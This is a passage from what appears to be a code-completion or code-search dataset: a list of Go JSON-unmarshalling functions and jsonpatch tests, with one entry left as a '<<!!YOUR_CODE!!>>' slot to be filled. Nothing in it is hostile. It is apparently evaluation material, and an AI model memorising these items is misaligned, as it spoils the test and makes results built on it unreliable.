err\n\t}\n\tfuture.FutureAPI = &azFuture\n\tfuture.Result = future.result\n\treturn nil\n}", "func (j *WorkerCreateOperation) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (v *EventApplicationPermissionDelete) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson4c51a5cdDecodeGithubComOvhCdsSdk16(&r, v)\n\treturn r.Error()\n}", "func (future *SubAccountDeleteFuture) UnmarshalJSON(body []byte) error {\n\tvar azFuture azure.Future\n\tif err := json.Unmarshal(body, &azFuture); err != nil {\n\t\treturn err\n\t}\n\tfuture.FutureAPI = &azFuture\n\tfuture.Result = future.result\n\treturn nil\n}", "func (v *RemoveScriptToEvaluateOnNewDocumentParams) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonC5a4559bDecodeGithubComChromedpCdprotoPage23(&r, v)\n\treturn r.Error()\n}", "func (v *EventPipelinePermissionDelete) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonF8e2f9b1DecodeGithubComOvhCdsSdk12(&r, v)\n\treturn r.Error()\n}", "func (j *UnInstallRespPacket) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func JSONDel(conn redis.Conn, key string, path string) (res interface{}, err error) {\n\tname, args, _ := CommandBuilder(\"JSON.DEL\", key, path)\n\treturn conn.Do(name, args...)\n}", "func (j *ModifyQueueResponse) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (j *PurgeQueueRequest) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (j *PurgeQueueResponse) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (a *RemoveScriptToEvaluateOnNewDocumentArgs) UnmarshalJSON(b []byte) error {\n\ttype Copy RemoveScriptToEvaluateOnNewDocumentArgs\n\tc := &Copy{}\n\terr := json.Unmarshal(b, c)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*a = RemoveScriptToEvaluateOnNewDocumentArgs(*c)\n\treturn nil\n}", "func (j *ModifyQueueRequest) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (w *Entry) UnmarshalJSON(bb []byte) error {\n\t<<!!YOUR_CODE!!>>\n}", "func (v *EventApplicationKeyDelete) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson4c51a5cdDecodeGithubComOvhCdsSdk18(&r, v)\n\treturn r.Error()\n}", "func (f *FeatureOperationsListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", f, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &f.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &f.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", f, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (j *ProposalUpdateOperation) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func Test_jsonpatch_Remove_NonExistent_IsError(t *testing.T) {\n\tg := NewWithT(t)\n\n\tpatch1, _ := jsonpatch.DecodePatch([]byte(`[{\"op\":\"remove\", \"path\":\"/test_key\"}]`))\n\n\torigDoc := []byte(`{\"asd\":\"foof\"}`)\n\n\t_, err := patch1.Apply(origDoc)\n\tg.Expect(err).Should(HaveOccurred(), \"patch apply\")\n}", "func (a *ActivityUserBannedFromProgram) UnmarshalJSON(b []byte) error {\n\tvar helper activityUserBannedFromProgramUnmarshalHelper\n\tif err := json.Unmarshal(b, &helper); err != nil {\n\t\treturn err\n\t}\n\ta.RemovedUser = helper.Relationships.RemovedUser.Data\n\treturn nil\n}", "func (d *DeletedSecretItem) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"attributes\":\n\t\t\terr = unpopulate(val, &d.Attributes)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"contentType\":\n\t\t\terr = unpopulate(val, &d.ContentType)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"deletedDate\":\n\t\t\terr = unpopulateTimeUnix(val, &d.DeletedDate)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"id\":\n\t\t\terr = unpopulate(val, &d.ID)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"managed\":\n\t\t\terr = unpopulate(val, &d.Managed)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"recoveryId\":\n\t\t\terr = unpopulate(val, &d.RecoveryID)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"scheduledPurgeDate\":\n\t\t\terr = unpopulateTimeUnix(val, &d.ScheduledPurgeDate)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"tags\":\n\t\t\terr = unpopulate(val, &d.Tags)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "func (v *EventApplicationRepositoryDelete) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson4c51a5cdDecodeGithubComOvhCdsSdk8(&r, v)\n\treturn r.Error()\n}", "func (future *PrivateEndpointConnectionsDeleteFuture) UnmarshalJSON(body []byte) error {\n\tvar azFuture azure.Future\n\tif err := json.Unmarshal(body, &azFuture); err != nil {\n\t\treturn err\n\t}\n\tfuture.FutureAPI = &azFuture\n\tfuture.Result = future.result\n\treturn nil\n}", "func (v *EventApplicationVariableDelete) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson4c51a5cdDecodeGithubComOvhCdsSdk4(&r, v)\n\treturn r.Error()\n}", "func (b *BastionSessionDeleteResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", b, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &b.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &b.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", b, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (v *EventPipelineParameterDelete) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonF8e2f9b1DecodeGithubComOvhCdsSdk16(&r, v)\n\treturn r.Error()\n}", "func (v *RemoveSymbolFromWatchlistRequest) UnmarshalEasyJSON(l *jlexer.Lexer) {\n\teasyjson3e8ab7adDecodeGithubComAlpacahqAlpacaTradeApiGoV3Alpaca10(l, v)\n}", "func (s *StringNotContainsAdvancedFilter) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", s, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"key\":\n\t\t\terr = unpopulate(val, \"Key\", &s.Key)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"operatorType\":\n\t\t\terr = unpopulate(val, \"OperatorType\", &s.OperatorType)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"values\":\n\t\t\terr = unpopulate(val, \"Values\", &s.Values)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", s, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (b *T) UnmarshalJSON(p []byte) error {\n\tb.BloomFilter = new(bloom.BloomFilter)\n\treturn json.Unmarshal(p, b.BloomFilter)\n}", "func (op *OpAdd) UnmarshalJSON(raw []byte) error {\n\tvar addRaw opAddRaw\n\terr := json.Unmarshal(raw, &addRaw)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"decode OpAdd: %s\", err)\n\t}\n\n\treturn op.unmarshalFromOpAddRaw(addRaw)\n}", "func (TagsRemoved) Unmarshal(v []byte) (interface{}, error) {\n\te := TagsRemoved{}\n\terr := json.Unmarshal(v, &e)\n\treturn e, err\n}", "func (v *EventPipelineJobDelete) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonF8e2f9b1DecodeGithubComOvhCdsSdk23(&r, v)\n\treturn r.Error()\n}", "func (j *InstallCancelRespPacket) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (p *Parser) Remove(pattern string) error {\n return p.json.Remove(pattern)\n}", "func (s *StringNotInAdvancedFilter) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", s, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"key\":\n\t\t\terr = unpopulate(val, \"Key\", &s.Key)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"operatorType\":\n\t\t\terr = unpopulate(val, \"OperatorType\", &s.OperatorType)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"values\":\n\t\t\terr = unpopulate(val, \"Values\", &s.Values)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", s, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (a *RemoveScriptToEvaluateOnLoadArgs) UnmarshalJSON(b []byte) error {\n\ttype Copy RemoveScriptToEvaluateOnLoadArgs\n\tc := &Copy{}\n\terr := json.Unmarshal(b, c)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*a = RemoveScriptToEvaluateOnLoadArgs(*c)\n\treturn nil\n}", "func (t *TestLineUpdate) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", t, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"tags\":\n\t\t\terr = unpopulate(val, \"Tags\", &t.Tags)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", t, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (ShareRemoved) Unmarshal(v []byte) (interface{}, error) {\n\te := ShareRemoved{}\n\terr := json.Unmarshal(v, &e)\n\treturn e, err\n}", "func (j *QueueId) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (j *StopPacket) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (v *bulkUpdateRequestCommandOp) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson1ed00e60DecodeGithubComOlivereElasticV7(&r, v)\n\treturn r.Error()\n}", "func (j *Json) UnmarshalJSON(b []byte) error {\n\tr, err := loadContentWithOptions(b, Options{\n\t\tType: ContentTypeJson,\n\t\tStrNumber: true,\n\t})\n\tif r != nil {\n\t\t// Value copy.\n\t\t*j = *r\n\t}\n\treturn err\n}", "func (j *Event) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (j *StopRespPacket) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (a *ApplicationGatewayFirewallExclusion) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"matchVariable\":\n\t\t\terr = unpopulate(val, \"MatchVariable\", &a.MatchVariable)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"selector\":\n\t\t\terr = unpopulate(val, \"Selector\", &a.Selector)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"selectorMatchOperator\":\n\t\t\terr = unpopulate(val, \"SelectorMatchOperator\", &a.SelectorMatchOperator)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (x *MemcacheDeleteResponse_DeleteStatusCode) UnmarshalJSON(b []byte) error {\n\tnum, err := protoimpl.X.UnmarshalJSONEnum(x.Descriptor(), b)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*x = MemcacheDeleteResponse_DeleteStatusCode(num)\n\treturn nil\n}", "func (j *jsonNative) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (j *CreateQueueResponse) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (a *RemoveScriptToEvaluateOnNewDocumentReply) UnmarshalJSON(b []byte) error {\n\ttype Copy RemoveScriptToEvaluateOnNewDocumentReply\n\tc := &Copy{}\n\terr := json.Unmarshal(b, c)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*a = RemoveScriptToEvaluateOnNewDocumentReply(*c)\n\treturn nil\n}", "func Test_jsonpatch_Remove_ObjectAndArray(t *testing.T) {\n\tg := NewWithT(t)\n\n\torigDoc := []byte(`{\n\t\t\"asd\":\"foof\",\n\t\t\"test_obj\":{\"color\":\"red\", \"model\":\"sedan\"},\n\t\t\"test_array\":[\"uno\", \"deux\", \"three\"]\n }`)\n\n\tpatch1, _ := DecodePatch([]byte(`[\n\t\t{\"op\":\"remove\", \"path\":\"/test_obj\"},\n\t\t{\"op\":\"remove\", \"path\":\"/test_array\"}\n\t]`))\n\n\texpectNewDoc := []byte(`{\"asd\":\"foof\"}`)\n\n\tnewDoc, err := patch1.Apply(origDoc)\n\tg.Expect(err).ShouldNot(HaveOccurred(), \"patch apply\")\n\tg.Expect(JSONEqual(newDoc, expectNewDoc)).Should(BeTrue(), \"%v is not equal to %v\", string(newDoc), string(expectNewDoc))\n}", "func (s *StringNotEndsWithAdvancedFilter) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", s, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"key\":\n\t\t\terr = unpopulate(val, \"Key\", &s.Key)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"operatorType\":\n\t\t\terr = unpopulate(val, \"OperatorType\", &s.OperatorType)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"values\":\n\t\t\terr = unpopulate(val, \"Values\", &s.Values)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", s, err)\n\t\t}\n\t}\n\treturn nil\n}", "func Test_jsonpatch_Remove_ObjectAndArray(t *testing.T) {\n\tg := NewWithT(t)\n\n\torigDoc := []byte(`{\n\t\t\"asd\":\"foof\",\n\t\t\"test_obj\":{\"color\":\"red\", \"model\":\"sedan\"},\n\t\t\"test_array\":[\"uno\", \"deux\", \"three\"]\n }`)\n\n\tpatch1, _ := jsonpatch.DecodePatch([]byte(`[\n\t\t{\"op\":\"remove\", \"path\":\"/test_obj\"},\n\t\t{\"op\":\"remove\", \"path\":\"/test_array\"}\n\t]`))\n\n\texpectNewDoc := []byte(`{\"asd\":\"foof\"}`)\n\n\tnewDoc, err := patch1.Apply(origDoc)\n\tg.Expect(err).ShouldNot(HaveOccurred(), \"patch apply\")\n\tg.Expect(jsonpatch.Equal(newDoc, expectNewDoc)).Should(BeTrue(), \"%v is not equal to %v\", string(newDoc), string(expectNewDoc))\n}", "func (x *StationOperations) UnmarshalJSON(b []byte) error {\n\tnum, err := protoimpl.X.UnmarshalJSONEnum(x.Descriptor(), b)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*x = StationOperations(num)\n\treturn nil\n}", "func (j *Segment) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func unmarshalJSON(j extv1.JSON, output *any) error {\n\tif len(j.Raw) == 0 {\n\t\treturn nil\n\t}\n\treturn json.Unmarshal(j.Raw, output)\n}", "func (j *Message) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (f *Feature) UnmarshalJSON(b []byte) error {\n\tif b[0] != '\"' || b[len(b)-1] != '\"' {\n\t\treturn errors.New(\"syntax error\")\n\t}\n\n\treturn f.UnmarshalText(b[1 : len(b)-1])\n}", "func (l *LiveEventActionInput) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", l, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"removeOutputsOnStop\":\n\t\t\terr = unpopulate(val, \"RemoveOutputsOnStop\", &l.RemoveOutputsOnStop)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", l, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (j *Packet) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (LinkRemoved) Unmarshal(v []byte) (interface{}, error) {\n\te := LinkRemoved{}\n\terr := json.Unmarshal(v, &e)\n\treturn e, err\n}", "func (e *ExtraLayers) UnmarshalJSON(data []byte) error {\n\tvar a []string\n\tif err := json.Unmarshal(data, &a); err != nil {\n\t\treturn err\n\t}\n\treturn e.Parse(a...)\n}", "func (j *RunPacket) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (v *OneUpdateLike) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\tdecodeOneUpdateLike(&r, v)\n\treturn r.Error()\n}", "func (v *UnbindParams) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonC5a4559bDecodeGithubComChromedpCdprotoTethering(&r, v)\n\treturn r.Error()\n}", "func (i *Event) UnmarshalJSON(b []byte) error {\n\ttype Mask Event\n\n\tp := struct {\n\t\t*Mask\n\t\tCreated *parseabletime.ParseableTime `json:\"created\"`\n\t\tTimeRemaining json.RawMessage `json:\"time_remaining\"`\n\t}{\n\t\tMask: (*Mask)(i),\n\t}\n\n\tif err := json.Unmarshal(b, &p); err != nil {\n\t\treturn err\n\t}\n\n\ti.Created = (*time.Time)(p.Created)\n\ti.TimeRemaining = duration.UnmarshalTimeRemaining(p.TimeRemaining)\n\n\treturn nil\n}", "func (v *EventContextDestroyed) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonC5a4559bDecodeGithubComChromedpCdprotoWebaudio2(&r, v)\n\treturn r.Error()\n}", "func (v *Features) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson42239ddeDecodeGithubComKhliengDispatchServer25(&r, v)\n\treturn r.Error()\n}", "func NewJSONItemRemover(removedPath []string) JSONItemRemover {\n\tremovedDataIndex1 := make(map[int]bool)\n\tremovedPath1 := make(map[string]bool)\n\tvar rmCount int\n\tif removedPath != nil {\n\t\trmCount = len(removedPath)\n\t\tfor _, val := range removedPath {\n\t\t\tremovedPath1[val] = true\n\n\t\t}\n\t}\n\treturn containerJSONItemRemover{removedDataIndex: removedDataIndex1, removedPath: removedPath1, removedPathCount: rmCount}\n}", "func (j *CreateQueueRequest) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (v *UnloadCheckResponse) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson6a975c40DecodeJsonBenchmark(&r, v)\n\treturn r.Error()\n}", "func (t *Transfer) UnmarshalJSON(data []byte) error {\n\tif id, ok := ParseID(data); ok {\n\t\tt.ID = id\n\t\treturn nil\n\t}\n\n\ttype transfer Transfer\n\tvar v transfer\n\tif err := json.Unmarshal(data, &v); err != nil {\n\t\treturn err\n\t}\n\n\t*t = Transfer(v)\n\treturn nil\n}", "func (v *EventPipelineStageDelete) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonF8e2f9b1DecodeGithubComOvhCdsSdk4(&r, v)\n\treturn r.Error()\n}", "func (o *OperationList) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationList) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (t *BlockTest) UnmarshalJSON(in []byte) error {\n\treturn json.Unmarshal(in, &t.Json)\n}", "func (s *RemoveDeviceValidator) BindJSON(c *gin.Context) error {\n\tb := binding.Default(c.Request.Method, c.ContentType())\n\n\terr := c.ShouldBindWith(s, b)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (s *StringNotBeginsWithAdvancedFilter) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", s, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"key\":\n\t\t\terr = unpopulate(val, \"Key\", &s.Key)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"operatorType\":\n\t\t\terr = unpopulate(val, \"OperatorType\", &s.OperatorType)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"values\":\n\t\t\terr = unpopulate(val, \"Values\", &s.Values)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", s, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (op *OpRetain) UnmarshalJSON(raw []byte) error {\n\treturn json.Unmarshal(raw, &op.Fields)\n}", "func (s *Specifier) UnmarshalJSON(b []byte) error {\n\tvar str string\n\tif err := json.Unmarshal(b, &str); err != nil {\n\t\treturn err\n\t}\n\tcopy(s[:], str)\n\treturn nil\n}", "func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"origin\":\n\t\t\terr = unpopulate(val, \"Origin\", &o.Origin)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"origin\":\n\t\t\terr = unpopulate(val, \"Origin\", &o.Origin)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (v *Stash) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonD2b7633eDecodeDrhyuComIndexerModels(&r, v)\n\treturn r.Error()\n}", "func (t *TrackedResourceModificationDetails) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", t, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"deploymentId\":\n\t\t\terr = unpopulate(val, \"DeploymentID\", &t.DeploymentID)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"deploymentTime\":\n\t\t\terr = unpopulateTimeRFC3339(val, \"DeploymentTime\", &t.DeploymentTime)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"policyDetails\":\n\t\t\terr = unpopulate(val, \"PolicyDetails\", &t.PolicyDetails)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", t, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := 